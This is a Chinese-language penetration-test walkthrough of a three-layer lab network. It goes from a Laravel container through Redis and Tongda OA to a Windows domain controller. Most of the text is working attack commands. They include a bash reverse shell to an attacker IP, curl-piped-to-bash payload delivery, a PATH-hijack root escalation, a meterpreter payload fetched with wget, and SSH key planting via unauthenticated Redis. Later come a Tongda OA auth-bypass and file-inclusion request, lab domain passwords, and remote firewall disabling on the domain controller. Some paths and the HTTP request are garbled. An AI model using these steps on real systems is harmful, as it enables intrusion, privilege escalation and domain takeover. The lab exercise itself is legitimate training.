在Vmware中新增两个虚拟网卡VMnet8、VMnet14。VMnet8设为默认的NAT模式,IP段设为192.168.52.0/24;VMnet14设为仅主机模式,IP段设为192.168.93.0/24
环境信息DMZ区的 Ubuntu 需要启动redis和nginx服务: sudo redis-server /etc/redis.conf sudo /usr/sbin/nginx -c /etc/nginx/nginx.conf sudo iptables -F 第二层网络的 Ubuntu需要启动docker容器: sudo service docker start sudo docker start 8e172820ac78 第三层网络的 Windows 7 (PC 1)需要启动通达OA: C:MYOAbinAutoConfig.exe 域用户信息 域用户账户和密码如下: Administrator:Whoami2021 whoami:Whoami2021 bunny:Bunny2021 moretz:Moretz2021 Ubuntu 1: web:web2021 Ubuntu 2: ubuntu:ubuntu 通达OA账户: admin:admin657260外网打点 信息搜集
现在对http://192.168.3.123/地址进行黑盒测试
首先使用nmap对地址进行扫描
nmap -T4 -sC -sV 192.168.3.123 -p 1-65535
查看81端口
https://github.com/SecPros-Team/laravel-CVE-2021-3129-EXP
cat /proc/1/cgroup
发现是docker环境
先把shell反弹到我们的kali当中(因为是ubuntu所以不能直接反弹shell)
kali上写个shell.sh
bash -i >& /dev/tcp/192.168.31.96/6666 0>&1
再开个web服务
python -m http.server 80
kali监听一个端口
nc -lvvp 6666
看一下靶机能不能访问192.168.3.139:80
在shell管理系统
curl 192.168.3.139/shell.sh
然后执行一下
curl 192.168.3.139:80/shell.sh|bash
成功把shell反弹到了kali上面
查看linux版本
uname -a
提权exp
https://github.com/Al1ex/LinuxEelvation
没成功
提权(成功)find / -perm -u=s -type f 2>/dev/null
利用/home/jobs/shell 提权,发现shell文件执行了ps,我们利用ps提权,写ps恶意命令
cd /tmp echo "/bin/bash" > ps chmod 777 ps echo $PATH export PATH=/tmp:$PATH # 将/tmp添加到环境变量中,并且先加载执行/tmp里的程序 cd /home/jobs ./shell
已经是root权限
生成msf木马
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.3.139 LPORT=6667 -f elf > shell.elf
监听(msf端执行)
use exploit/multi/handler set lhost 192.168.3.139 set lport 6667 set payload linux/x86/meterpreter/reverse_tcp run
将木马传到靶机
wget http://192.168.3.139/shell.elf chmod 777 shell.elf ./shell.elfdocker逃逸(失败,139主机只拿下了一半)
一直逃逸不出来,看看其他方式
redis未授权访问信息搜集可得,服务器还有个redis端口,曲线救国
https://github.com/qishibo/AnotherRedisDesktopManager/releases/tag/v1.5.1
wget http://download.redis.io/redis-stable.tar.gz tar -zxvf redis-stable.tar.gz cd redis-stable make //全局生效 cp src/redis-cli /usr/bin/
redis-cli -h 192.168.3.123
redis未授权确定了
kali生成ssh公钥
ssh-keygen -t rsa
将公钥导入key.txt文件(前后用n换行,避免和Redis里其他缓存数据混合),再把key.txt文件内容写入目标主机的redis缓冲里:
(echo -e "nn"; cat /root/.ssh/id_rsa.pub; echo -e "nn") > key.txt cat key.txt | redis-cli -h 192.168.31.132 -x set xxx
进入redis命令行将公钥写入(这里redis要是不用root启,就不行)
config set dir /root/.ssh # 设置redis的备份路径为/root/.ssh/ config set dbfilename authorized_keys # 设置保存文件名为authorized_keys save # 将数据保存在目标服务器硬盘上第二层网络渗透 成功拿下“192.168.3.123”,进一步进行信息搜集
到这里我们可以发现我们拿下了第一台机器是ubuntu18 有两个网卡,发现了第一个内网网段是192.168.52.10
参考前面,懒得写了
工具使用一定要熟练啊,上线我就上了半天,设置监听端口之前一定看看占用了没,气死我了!!!!!!
传一个fscan上去
upload /home/yezi/hongri1/fscan_amd64
然后扫描
扫到一台192.168.52.30
通达OA
使用frp在192.168.52.10做一个代理,来渗透192.168.52.30
frp教程 https://www.cnblogs.com/hanlongyi/p/15250440.html
全局代理抓不到包,在bp上挂一个代理
TongDaOA.domain/inc/expired.php 判断通达版本 参考:https://github.com/OA-HUNTER/TongDa-OA
可以看到版本为11.3
登陆处抓包
2)修改再发包 需修改以下三个地方: /logincheck.php /logincheck_code.php 删除cookie在post包中添加UID=1
用获取的PHPSESSID访问/general/
访问上传接口抓包
/ispirit/im/upload.php
修改包的内容
POST /ispirit/im/upload.php HTTP/1.1
Host: 192.168.52.30:8080
Content-Length: 658
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypyfBh1YB4pV8McGB
Accept: **
User-Agent: python-requests/2.21.0
Content-Length: 90
Content-Type: application/x-www-form-urlencoded
json={"url":"/general/../../attach/im/2204/1828100034.jpg"}&cmd=whoami
参考资料 https://blog.csdn.net/szgyunyun/article/details/107104288cs上线192.168.52.30 进程迁移 第三层网络渗透(内网) 信息搜集192.168.52.30
ipconfig /all # 查看本机ip,所在域 route print # 打印路由信息 net view # 查看局域网内其他主机名 arp -a # 查看arp缓存 net start # 查看开启了哪些服务 net share # 查看开启了哪些共享 net share ipc$ # 开启ipc共享 net share c$ # 开启c盘共享 net use \192.168.xx.xxipc$ "" /user:"" # 与192.168.xx.xx建立空连接 net use \192.168.xx.xxc$ "密码" /user:"用户名" # 建立c盘共享 dir \192.168.xx.xxc$user # 查看192.168.xx.xx c盘user目录下的文件 net config Workstation # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域 net user # 查看本机用户列表 net user /domain # 查看域用户 net localgroup administrators # 查看本地管理员组(通常会有域用户) net view /domain # 查看有几个域 net user 用户名 /domain # 获取指定域用户的信息 net group /domain # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作) net group 组名 /domain # 查看域中某工作组 net time /domain // 主域服务器会同时作为时间服务器 net group "domain admins" /domain # 查看域管理员的名字 net group "domain computers" /domain # 查看域中的其他主机名 net group "doamin controllers" /domain # 查看域控制器(可能有多台) net group "Enterprise Admins" /domain // 查看域管理员组
信息搜集后得到 有一个域:whoamianony.org 域控是:DC.whoamianony.org 域控的ip:192.168.93.30
93这个网段有三台机器
193.168.92.20(通达OA本机)
193.168.92.30
193.168.92.40
抓一下凭证信息
psexec失败了,半天没反应,我估计是防火墙的原因
IPC$常用命令 net use 查看当前连接的IPC$ net use * /del 删除IPC$连接 net use 192.168.1.1ipc$ 密码 /user:域账号 连接域内IP地址为192.168.1.1的主机 dir 192.168.1.1c$ 列出连接的192.168.1.1的C盘文件 copy c:/12.txt 192.168.1.1c$2.txt 复制本地c盘的12.txt文件到192.168.1.1的c盘并保存为2.txt
那我们利用net use 把域控的防火墙关了
net use \192.168.93.30ipc$ "Whoami2021" /user:"Administrator" sc \192.168.93.30 create unablefirewall binpath= "netsh advfirewall set allprofiles state off" sc \192.168.93.30 start unablefirewallpsexe横向移动
因为抓到了域控的账号密码,cs横向基本操作这里不谈了
好了,至此机器全部都上线了



